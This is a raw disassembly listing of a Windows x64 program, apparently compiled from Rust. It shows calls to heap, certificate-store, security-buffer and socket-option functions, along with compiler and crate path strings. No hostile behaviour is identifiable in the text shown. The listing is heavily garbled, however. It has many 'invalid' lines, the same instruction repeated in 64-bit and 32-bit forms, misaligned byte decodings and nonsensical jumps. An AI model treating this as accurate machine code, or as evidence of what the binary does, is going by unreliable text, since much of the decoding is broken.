ror byte [rcx - 0x77], cl
invalid
mov r8, rsi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
and eax, 0x7d7e1
nop
add rsp, 0x38
add esp, 0x38
add esp, 0x38
cmp byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop r15
pop rdi
pop rbp
ret
nop dword cs:[rax + rax]
invalid
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push rdi
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
push 0x30
mov rax, qword [rbp - 8]
mov rcx, qword [rax]
mov ecx, dword [rax]
mov rdx, qword [rax + 8]
call fcn.140109c70
nop
jmp case.0x1400df101.305
invalid
add rsp, 0x28
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop r15
pop rbp
ret
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
adc byte [rbp + 0x41], dl
push rbp
push r15
push rdi
push r14
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub byte [rax - 0x73], cl
push 0x30
invalid
lea rbp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
xor byte [rax - 0x75], cl
mov rcx, qword [rbp - 8]
clc
clc
add rcx, 0x38
call fcn.140109cb0
out dx, al
cmp edi, 0xffffffff
sar dword [rax], 0xe8
cmp al, ch
out dx, al
cmp edi, 0xffffffff
invalid
nop
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
pop rbp
ret
mov eax, dword [rcx]
add eax, esi
dec qword [rax]
dec dword [rax]
or byte [rbp + 8], dh
or byte [rax - 0x75], cl
mov ecx, dword [rcx]
or ecx, ebp
invalid
cmp edi, 0xffffffff
invalid
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
jmp qword [sym.imp.secur32.dll_FreeContextBuffer]
add esp, ebx
invalid
fadd qword [rdi]
add ah, cl
int3
int3
int3
int3
int3
int3
int3
push r15
push rdi
push r14
push rsi
push r13
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x68
sub esp, 0x68
push 0x246c8d48
lea rbp, [rsp + 0x60]
insb byte [rdi], dx
and al, 0x60
invalid
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
add r14b, r15b
invalid
invalid
invalid
mov rsi, r8
mov esi, eax
invalid
test r8, r8
test eax, eax
ror byte [rax - 0x77], 0x4d
mov qword [rbp - 0x30], rcx
mov dword [rbp - 0x30], ecx
sal byte [r11 + rdi*2 + 0x48], 1
sal byte [rbx + rdi*2 + 0x48], 1
je case.0x14014c89f.240
jnp case.0x1400e7c73.247
movabs rax, 0x555555555555556
mov eax, 0x55555556
push rsi
push rbp
push rbp
push rbp
push rbp
push rbp
push rbp
add eax, 0xfc63948
cmp rsi, rax
cmp esi, eax
invalid
jae 0x140111ad0
adc dword [rcx + rax - 0x76b80000], 0xffffffd3
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x77], cl
mov rbx, rdx
mov ebx, edx
ror dword [rax - 0x73], cl
lea rax, [rsi*8]
lea eax, [rsi*8]
add al, 0xf5
cmc
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
lea rax, [rax + rax*2]
lea eax, [rax + rax*2]
add al, 0x40
mov qword [rbp - 8], rax
mov qword [rbp - 8], rax
mov dword [rbp - 8], eax
clc
test rax, rax
test eax, eax
ror byte [rdi], 0x84
je 0x1401119e0
mov byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
movzx eax, byte [0x14023c308]
mov dh, 5
test eax, 0x480012a9
invalid
adc al, byte [rax]
invalid
test eax, 0x8b480012
adc al, byte [rax]
add byte [rax - 0x75], cl
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
or eax, 0x12a8f2
test al, 0x12
adc al, byte [rax]
add byte [rax - 0x7b], cl
test rcx, rcx
test ecx, ecx
leave
jne case.0x1400e7c73.249
adc eax, 0xd6cf15ff
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
adc eax, 0x7d6cf
iretd
invalid
invalid
test rax, rax
test eax, eax
sal byte [rsi + rbx + 0x48], 0x89
je case.0x1400e9218.244
invalid
mov rcx, rax
ror dword [rax - 0x77], 5
mov qword [0x14023c258], rax
mov dword [0x14023c258], eax
add eax, 0x12a8d8
fsubr dword [rax - 0x2dceffee]
test al, 0x12
add byte [rcx], dh
xor edx, edx
ror byte [rbx + rcx*4 + 0x45], cl
clc
mov r8, qword [rbp - 8]
mov eax, dword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0x7d6ac
lodsb al, byte [rsi]
invalid
invalid
add byte [rcx - 0x77], cl
mov r15, rax
mov edi, eax
invalid
test rax, rax
test eax, eax
sal byte [rbp + 0x52], 0xb9
jne 0x1401119e6
mov ecx, 8
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rbp - 8]
push rbp
clc
call fcn.140186620
jle 0x1401119ec
invalid
invalid
ud2
or ecx, dword [rax - 0x39]
mov qword [rbp - 0x28], 8
mov dword [rbp - 0x28], 8
fmul dword [r8]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rbp - 0x20], 0
mov dword [rbp - 0x20], 0
loopne case.0x1400e7c73.256
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rbp - 0x18], esi
add byte [rax], al
mov qword [rbp - 0x18], rsi
call 0x1105ea504
mov rcx, qword [rbp - 0x30]
mov ecx, dword [rbp - 0x30]
ror byte [rax - 0x77], 1
mov qword [rcx + 0x10], rsi
jno 0x1401119d0
adc byte [rax - 0x75], cl
mov rax, qword [rbp - 0x28]
mov qword [rcx], rax
mov dword [rcx], eax
fmul dword [r8 - 0x77]
mov dword [rcx], eax
add dword [rax - 0x75], ecx
mov rax, qword [rbp - 0x20]
loopne case.0x14014c89f.256
mov qword [rcx + 8], rax
mov dword [rcx + 8], eax
or byte [r8 - 0x7d], cl
or byte [rax - 0x7d], cl
add rsp, 0x68
add esp, 0x68
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop rsi
pop r15
pop rbp
ret
mov r15d, 8
mov edi, 8
or byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x7d], cl
mov qword [rbp - 0x28], r15
jge 0x1401119c2
fmul dword [rax - 0x77]
mov qword [rbp - 0x20], rsi
jne case.0x14014c89f.246
mov qword [rbp - 0x18], 0
mov dword [rbp - 0x18], 0
call case.0x1400e9218.258
call case.0x1400e9218.258
add byte [rax], al
add byte [rbp + 0x31], al
xor r14d, r14d
xor esi, esi
div byte [rcx]
ror byte [rax - 0x77], 0x45
invalid
invalid
xor eax, eax
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x10], eax
mov dword [rbp - 0x10], eax
invalid
invalid
mov qword [rbp - 0x38], rsi
jne 0x1401119cb
jmp case.0x140110e46.145
imul esp, dword [rsi + 0x66], 0x2e
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
invalid
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [0x14023c258], rax
mov dword [0x14023c258], eax
add eax, 0x12a841
test al, 0x12
add byte [rax - 0x77], cl
mov rcx, rax
xor edx, edx
invalid
sal dword [rcx], 0xd2
ror byte [rbp - 0x77], cl
mov r8, r12
loopne case.0x14010ab6c.101
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0x7d613
invalid
mov rsi, rax
test rax, rax
test eax, eax
je case.0x14010aa7a.98
add byte [rax - 0x7d], cl
add rbx, 0x18
mov rdi, qword [rbp - 0x10]
mov edi, dword [rbp - 0x10]
ret
inc rdi
mov rcx, rsi
mov rdx, r13
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov qword [r15 + r14], rsi
mov qword [r15 + r14 + 8], r12
mov qword [r15 + r14 + 0x10], r12
invalid
invalid
adc byte [rcx - 0x7d], cl
invalid
sbb byte [rax - 0x77], cl
clc
invalid
invalid
sbb byte [rax - 0x77], cl
clc
mov qword [rbp - 0x10], rdi
mov rsi, qword [rbp - 0x38]
jne 0x140111a2f
invalid
cmp rsi, rdi
je 0x1401119b4
dec byte [rdi]
test byte [rdi + rdi*8 - 1], al
dec dword [rcx + rdi + 0x75]
cmp qword [rbp - 8], r14
cmp qword [rbp - 8], r14
je 0x1401119b4
invalid
mov r13, qword [rbx]
mov r12, qword [rbx + 0x10]
mov esp, dword [rbx + 0x10]
mov esp, dword [rbx + 0x10]
test r12, r12
je 0x140111ab0
invalid
sub bh, byte [rax + 0x41]
js case.0x1400e9218.265
movzx eax, byte [0x14023c308]
mov rax, qword [0x14023c258]
cmpsd dword [rsi], dword [rdi]
adc al, byte [rax]
test al, 0x12
add byte [rax - 0x75], cl
add eax, 0x12a7c2
cmpsd dword [rsi], dword [rdi]
adc al, byte [rax]
cmpsd dword [rsi], dword [rdi]
adc al, byte [rax]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x85
test dword [rax - 1], edi
test rax, rax
jne 0x140111a17
test dword [rax - 1], edi
invalid
invalid
test dword [rax - 1], edi
invalid
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
test eax, eax
wait
invalid
test eax, eax
jne case.0x140110d10.90
jmp case.0x14010aa7a.98
or bh, byte [rsi + 1]
mov esi, 1
add byte [rax], al
add cl, ch
invalid
jmp 0x140111a31
ja 0x140111ab7
invalid
invalid
mov ecx, 1
add byte [rax], al
mov rdx, r12
call fcn.140186620
jmp case.0x140110d10.93
pop rcx
invalid
add bl, ch
add eax, 0xefec02e8
invalid
add ch, ah
out dx, eax
call fcn.1400106d0
add ch, ah
in al, dx
out dx, eax
dec dword [rdi]
or ebp, eax
ud2
call fcn.1400106d0
sti
jmp case.0x14010aa3a.116
dec dword [rdi]
or esp, dword [rsi + 0xf]
invalid
ud2
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
push rsp
and al, 0x10
mov qword [rsp + 0x10], rdx
push rbp
push r15
push rdi
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
invalid
sub byte [rax - 0x73], cl
push 0x60
lea rbp, [rdx + 0x60]
lea ebp, [rdx + 0x60]
lea rsi, [rbp - 0x28]
jne 0x140111ad5
fmul dword [rax - 0x77]
int1
mov rcx, rsi
mov rdx, qword [rbp - 0x10]
push rbp
invalid
call fcn.140118cf0
mov rcx, rsi
mov ecx, esi
int1
call fcn.1400715e0
call qword [rax + 0x28c48348]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rdi
pop rbp
ret
int3
int3
int3
int3
int3
int3
push rbx
sub rsp, 0x68
sub esp, 0x68
lea rbp, [rsp + 0x60]
insb byte [rdi], dx
and al, 0x60
invalid
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
mov esi, ecx
invalid
invalid
invalid
mov byte [rbp - 1], 0
inc dword [r8]
inc dword [rax]
lea rcx, [rbp - 0x40]
ror byte [rax - 0x77], 0x55
invalid
mov qword [rbp - 0x10], rdx
mov dword [rbp - 0x10], edx
call fcn.140116ce0
push rcx
add byte [rax], al
add byte [rbx + 0x7502c07d], al
cmp dword [rbp - 0x40], 2
jne case.default.0x140111b76
invalid
mov rdi, qword [rbp - 0x38]
mov ebx, edi
sti
sti
and ebx, 3
jrcxz case.0x14010aa3a.140
lea rax, [0x1401ef27c]
movsxd rcx, dword [rax + rbx*4]
cwde
or eax, 0x48000dd7
invalid
xlatb
or eax, 0xc634800
cwde
add rcx, rax
add ecx, eax
jmp rcx
movzx eax, byte [rdi + 0x10]
jmp case.0x14010ab6c.133
mov dh, 0x47
adc r11b, r13b
adc bl, ch
xor eax, 0x84e8d48
lea rcx, [rsi + 8]
or byte [rcx - 0x48], r8b
or byte [rcx - 0x48], al
mov r8d, 0x228
sub byte [rdx], al
add byte [rax], al
invalid
add byte [rax - 0x75], cl
push rbp
invalid
mov rdx, qword [rbp - 0x10]
mov edx, dword [rbp - 0x10]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi], 0
mov dword [rsi], 0
invalid
invalid
add byte [rax - 0x39], cl
invalid
mov dword [rsi], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, rdi
stc
shr rcx, 0x20
shr ecx, 0x20
call fcn.14014c870
lodsb al, byte [rsi]
add eax, dword [rax]
add bl, ch
jmp case.0x14010ab6c.133
add al, 0xf
mov dh, 0x47
invalid
movzx eax, byte [rdi + 0xf]
invalid
invalid
cmp al, 0xd
jne 0x140111c12
lea rcx, [rsi + 8]
lea ecx, [rsi + 8]
or byte [rcx - 0x48], r8b
or byte [rcx - 0x48], al
mov r8d, 0x228
sub byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
push rbp
invalid
mov rdx, qword [rbp - 0x10]
call sub.VCRUNTIME140.dll_memcpy
adc dword [rcx + 7], ecx
add byte [rax - 0x39], cl
mov dword [rsi], 1
adc dword [rcx + 7], ecx
add byte [rax - 0x39], cl
invalid
invalid
invalid
invalid
mov dword [rsi], 1
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [rbx - 2]
invalid
invalid
add byte [rax], al
lea rax, [rbx - 2]
lea eax, [rbx - 2]
dec byte [rax - 0x7d]
cmp rax, 2
cmp eax, 2
clc
add dh, byte [rdx - 0x43]
jb 0x140111b98
jb 0x140111b98
test rbx, rbx
test ebx, ebx
invalid
je 0x140111b98
lea rax, [rdi - 1]
dec dword [r8 - 0x77]
dec dword [rax - 0x77]
mov qword [rbp - 0x28], rax
mov rcx, qword [rdi - 1]
mov ecx, dword [rdi - 1]
fmul dword [r8 - 0x75]
fmul dword [rax - 0x75]
mov ecx, dword [rdi - 1]
dec qword [r8 - 0x75]
dec dword [rax - 0x75]
mov rax, qword [rdi + 7]
invalid
mov qword [rbp - 0x18], rcx
mov dword [rbp - 0x18], ecx
call 0x12056a540
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x20], eax
loopne case.0x14010aa7a.135
call qword [rax]
mov rax, qword [rbp - 0x20]
invalid
invalid
adc byte [rax - 0x75], cl
loopne 0x140111c47
cmp qword [rax + 8], 0
cmp dword [rax + 8], 0
js case.0x140113275.59
add byte [rbx + rbp*2 + 0x48], dh
je 0x140111c70
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
jae case.0x14011130f.64
mov r8, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
jmp 0x140111c61
mov qword [rsi + 8], 2
mov qword [rsi + 8], 2
mov dword [rsi + 8], 2
or byte [rdx], r8b
or byte [rdx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsi + 0x10], rdi
add byte [rax], al
mov qword [rsi + 0x10], rdi
mov qword [rsi], 1
mov dword [rsi], 1
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
invalid
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.1401098f0
invalid
invalid
invalid
mov rax, rdi
shr rax, 0x20
invalid
invalid
call 0x169099f60
cmp eax, 0x28
clc
sub byte [rdi + 0x46], dh
ja case.0x140113275.77
lea rcx, [0x1401ef28c]
or eax, 0xdd643
or eax, 0x4634800
or dword [rax + 1], 0x31e0ffc8
jmp rax
xor eax, eax
invalid
pop rdx
invalid
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
xor eax, eax
jmp case.0x14010ab6c.133
invalid
invalid
invalid
mov r8, qword [rbp - 0x18]
mov r8, qword [r8 - 8]
mov eax, dword [rax - 8]
mov eax, dword [rax - 8]
clc
mov rcx, qword [0x14023c258]
movsd dword [rdi], dword [rsi]
adc al, byte [rax]
invalid
add byte [rcx], dh
sar bh, cl
adc eax, 0x7d3b8
invalid
rol dword [rdi], cl
invalid
invalid
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
rol dword [rdi], cl
invalid
invalid
mov eax, 0x480007d3
mov ecx, dword [0x14023c258]
or eax, 0x12a5e1
invalid
mov rcx, qword [0x14023c258]
or eax, 0x12a5e1
loope case.0x14011130f.55
adc al, byte [rax]
xor edx, edx
mov r8, qword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
fdivr st(7)
adc eax, 0x7d3a5
invalid
invalid
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
add cl, ch
adc bh, bh
invalid
jmp 0x140111b98
mov al, 0x29
jmp case.0x14010ab6c.133
mov al, 1
jmp case.0x14010ab6c.133
mov al, 2
jmp case.0x14010ab6c.133
invalid
mov al, 3
jmp case.0x14010ab6c.133
mov al, 4
jmp case.0x14010ab6c.133
invalid
mov al, 5
jmp case.0x14010ab6c.133
mov al, 6
jmp case.0x14010ab6c.133
mov al, 7
jmp case.0x14010ab6c.133
invalid
mov al, 8
jmp case.0x14010ab6c.133
mov al, 9
jmp case.0x14010ab6c.133
mov al, 0xa
jmp case.0x14010ab6c.133
fdivp st(6)
invalid
mov al, 0xb
jmp case.0x14010ab6c.133
mov al, 0xc
jmp case.0x14010ab6c.133
jmp case.0x14010ab6c.133
jmp case.0x14010ab6c.133
and al, 0xe9
sub dh, bh
invalid
sbb bh, dh
invalid
lea ebp, [rdx + 0x60]
mov rax, qword [rbp - 0x20]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
call fcn.140005270
mov rcx, qword [rbp - 0x28]
call fcn.140029350
mov byte [rbp - 1], 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov ecx, edx
jmp qword [sym.imp.secur32.dll_FreeContextBuffer]
jmp fcn.140108d10
add cl, byte [rdi]
test dword [rdi - 0x3c000086], edx
int3
int3
adc dword [rbx + 0x1a7503f8], eax
add rcx, 0x140
jmp fcn.140109470
movups xmmword [r9 + 0x118], xmm0
movups xmm0, xmmword [r9 + 0x50]
movups xmmword [r9 + 0x128], xmm0
adc dword [rcx + 0x128], eax
adc dword [rcx + 0x128], eax
movups xmm0, xmmword [r9 + 0x60]
movups xmmword [r9 + 0x138], xmm0
movups xmm0, xmmword [r9 + 0x70]
movups xmmword [r9 + 0x148], xmm0
movups xmm0, xmmword [r9 + 0x80]
movups xmmword [r9 + 0x158], xmm0
movups xmm0, xmmword [r9 + 0x90]
movups xmmword [r9 + 0x168], xmm0
movups xmm0, xmmword [r9 + 0xa0]
movups xmmword [r9 + 0x178], xmm0
movups xmm0, xmmword [r9 + 0xb0]
movups xmmword [r9 + 0x188], xmm0
movups xmm0, xmmword [r9 + 0xc0]
movups xmmword [r9 + 0x198], xmm0
mov rax, qword [r9 + 0xd0]
mov qword [r9 + 0x1a8], rax
movzx eax, byte [r9 + 0x250]
mov byte [r9 + 0x252], al
movups xmm0, xmmword [r9]
movups xmm1, xmmword [r9 + 0x10]
movups xmm2, xmmword [r9 + 0xf8]
movups xmmword [r9 + 0x1b0], xmm2
mov rax, qword [r9 + 0x108]
mov qword [r9 + 0x1c0], rax
movups xmmword [r9 + 0x1c8], xmm0
movups xmmword [r9 + 0x1d8], xmm1
mov rax, qword [r9 + 0x1b0]
lock inc qword [rax]
jle 0x140112792
mov rcx, qword [r9 + 0x1b8]
mov rdx, qword [r9 + 0x1c0]
lock inc qword [rcx]
jle 0x140112792
lea r14, [r9 + 0x158]
lea rbx, [r9 + 0x1e8]
mov qword [r9 + 0x1e8], rax
mov qword [r9 + 0x1f0], rcx
mov qword [r9 + 0x1f8], rdx
mov byte [r9 + 0x253], 1
cmp byte [r9 + 0x151], 0
je 0x1401120a9
lea rax, [r9 + 0x1c8]
cmp qword [rax], 0
je 0x1401120dd
mov rcx, qword [r9 + 0x1d0]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rbp + 0x310], rax
mov eax, 1
mov qword [rbp + 0x308], rax
mov r9, qword [rbp + 0x320]
jmp 0x1401120e6
movzx eax, byte [r14]
test rax, rax
je 0x140112060
cmp eax, 1
je 0x1401126ed
cmp eax, 2
je 0x140112060
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.11_srcuri_scheme.rs
mov edx, 0x28
call fcn.140186b70
jmp 0x14011281c
xor eax, eax
mov qword [rbp + 0x308], rax
mov rcx, qword [r9 + 0x1d8]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov r9, qword [rbp + 0x320]
movzx edx, word [r9 + 0x1e4]
mov byte [r9 + 0x253], 0
lea rcx, [r9 + 0x200]
movups xmm0, xmmword [rbx]
movups xmmword [r9 + 0x220], xmm0
adc dword [rcx + 0x220], eax
mov r8, qword [rbx + 0x10]
mov qword [r9 + 0x230], r8
add byte [rbx + rcx*4 - 0x7b], cl
or byte [rbx], al
add byte [rax], al
mov qword [r9 + 0x200], r8
mov r8, qword [rbp + 0x310]
mov eax, dword [rbp + 0x310]
mov qword [r9 + 0x208], r8
mov qword [r9 + 0x210], rax
adc byte [rdx], al
add byte [rax], al
mov eax, dword [r9 + 0x1e0]
mov dword [r9 + 0x218], eax
mov word [r9 + 0x21c], dx
mov byte [r9 + 0x238], 0
mov byte [r9 + 0x254], 0
mov rax, qword [r14 + 0x50]
mov qword [rbp + 0x230], rax
add byte [rcx + 0xf], al
adc byte [rsi + 0x40], al
movaps xmmword [rbp + 0x220], xmm0
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
and byte [rcx + 0xf], al
adc byte [rsi + 0x30], bl
movaps xmmword [rbp + 0x210], xmm3
movaps xmmword [rbp + 0x200], xmm2
add byte [rax], al
movaps xmmword [rbp + 0x1f0], xmm1
movaps xmmword [rbp + 0x1e0], xmm0
sub dword [rbp + 0x1e0], eax
lea rdx, [rbp + 0x1e0]
call fcn.140110290
invalid
loopne case.0x1400ced76.381
invalid
dec dword [rcx - 0x77]
ror byte [rax - 0x77], 0xd0
mov rcx, qword [rbp + 0x320]
mov qword [rcx + 0x240], r8
mov qword [rcx + 0x248], rdx
xchg ecx, eax
add al, byte [rax]
invalid
lea rcx, [rbp + 0x1e0]
mov rdx, r8
mov r8, rdi
call qword [rax + 0x18]
mov rbx, qword [rbp + 0x1e0]
cmp rbx, 4
jne 0x140112205
mov byte [rsi + 0x11], 3
mov al, 3
jmp 0x1401126cc
mov rdi, qword [rbp + 0x1e8]
mov r14, qword [rbp + 0x1f0]
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp - 0x58]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x320]
mov rcx, qword [rax + 0x240]
mov rax, qword [rax + 0x248]
mov qword [rbp + 0x310], rcx
mov qword [rbp + 0x308], rax
mov dword [rbp + 0x308], eax
call qword [rax]
mov rax, qword [rbp + 0x308]
cmp qword [rax + 8], 0
je 0x140112286
cmp qword [rax + 0x10], 0x11
jae 0x14011226c
mov r8, qword [rbp + 0x310]
jmp 0x140112277
mov r8, qword [rbp + 0x310]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp ebx, 2
je case.0x14014c89f.263
add byte [rax], al
invalid
cmp ebx, 3
mov r13, qword [rbp + 0x320]
jne 0x140112472
add byte [rcx - 0x73], cl
lea eax, [rax]
add al, byte [rax]
add al, ch
jno 0x14011229f
lea rcx, [r13 + 0x200]
call fcn.140069410
mov rax, qword [rbp + 0x320]
and byte [rbx], al
add byte [rax], al
dec dword [rax - 0x75]
test dword [rax], esp
and byte [rbx], al
add byte [rax], al
mov byte [rax + 0x253], 0
and byte [rbx], al
add byte [rax], al
mov byte [rax + 0x253], 0
add byte [rax - 0x7d], cl
mov eax, 0x1c8
add byte [rsp + rdx + 0x48], dh
mov eax, dword [rbp + 0x320]
add byte [rax], al
cmp qword [rax + 0x1c8], 0
je 0x1401122d7
mov rax, qword [rbp + 0x320]
add byte [rax], al
mov rcx, qword [rax + 0x1d0]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
add dword [rax], eax
add bh, bh
adc eax, 0x7d1d1
mov rax, qword [rbp + 0x320]
mov rcx, qword [rax + 0x1d8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
adc eax, 0x7d193
adc eax, 0x7d193
mov rcx, qword [rbp + 0x320]
mov ecx, dword [rbp + 0x320]
mov rax, qword [rcx + 0x1b0]
lock dec qword [rax]
or byte [rax - 0x77], cl
retf
jne 0x140112310
or byte [rax - 0x77], cl
retf
mov rcx, qword [rbx + 0x1b0]
call fcn.14014b970
add eax, dword [rax]
add dword [rax], eax
add al, ch
invalid
mov rax, qword [rbx + 0x1b8]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
jne 0x140112337
mov rax, qword [rbp + 0x320]
mov rcx, qword [rax + 0x1b8]
add dword [rax], eax
add byte [rax - 0x75], cl
nop
rol byte [rcx], 0
add al, ch
invalid
test al, 0xf5
invalid
mov rax, qword [rbp + 0x320]
mov byte [rax + 0x254], 0
mov rax, qword [rax + 0x148]
lock dec qword [rax]
jne 0x140112365
mov rax, qword [rbp + 0x320]
mov rcx, qword [rax + 0x148]
add byte [rax], al
add byte [rax - 0x75], cl
mov byte [rax + 1], cl
add byte [rax], al
call fcn.140068970
mov r15b, 2
mov r8, qword [rbp + 0x320]
cmp byte [r8 + 0x140], 2
add dword [rax], eax
add byte [rdx], al
add dword [rax], eax
add byte [rdx], al
jne 0x140112688
test dword [rbx], ecx
add eax, dword [rax]
add cl, ch
and eax, 0x48000003
lea rcx, [rbp + 0xb8]
jmp 0x1401126a7
lea rcx, [rbp + 0xb8]
lea rbx, [rbp - 0x58]
mov r8d, 0x110
test al, 0x41
mov eax, 0x110
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x1e0], 2
mov dword [rbp + 0x1e0], 2
mov dword [rbp + 0x1e0], 2
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], r14
lea rcx, [rbp + 0x1f8]
mov r8d, 0x110
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
mov r13, qword [rbp + 0x320]
jne 0x1401123fc
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1401127ca
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x128
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1401127ca
mov rbx, rax
mov qword [rax], 2
mov qword [rax + 8], rdi
mov qword [rax + 0x10], r14
mov rcx, rax
add rcx, 0x18
lea rdx, [rbp + 0xb8]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memcpy
movzx r12d, byte [r13 + 0x252]
movzx eax, word [rbp + 0x1e4]
mov word [rbp + 0x31c], ax
mov eax, dword [rbp + 0x1e0]
mov dword [rbp + 0x318], eax
lea r14, fcn.140109c90
xor r15d, r15d
mov rdi, rbx
jmp 0x140112590
mov qword [rbp + 0xb8], rbx
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xc8], r14
lea rcx, [rbp + 0xd0]
lea rdx, [rbp - 0x58]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memcpy
cmp byte [r13 + 0x151], 0
jne 0x1401124eb
mov rcx, qword [rbp + 0xe0]
cmp rcx, 0xffffffffffffffff
je 0x1401127ec
mov dword [rbp + 0x1e0], 0
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x1e0]
mov edx, 6
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x140112713
lea rcx, [rbp + 0x1e0]
lea rdx, [rbp + 0xb8]
mov r8d, 0x128
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140112530
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1401127db
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x128
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
ror byte [rdi], 0x84
xchg esp, eax
add al, byte [rax]
invalid
ror byte [rdi], 0x84
xchg esp, eax
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rdx + rax - 0x76b80000], dl
mov rdi, rax
lea rdx, [rbp + 0x1e0]
mov r8d, 0x128
mov eax, 0x128
invalid
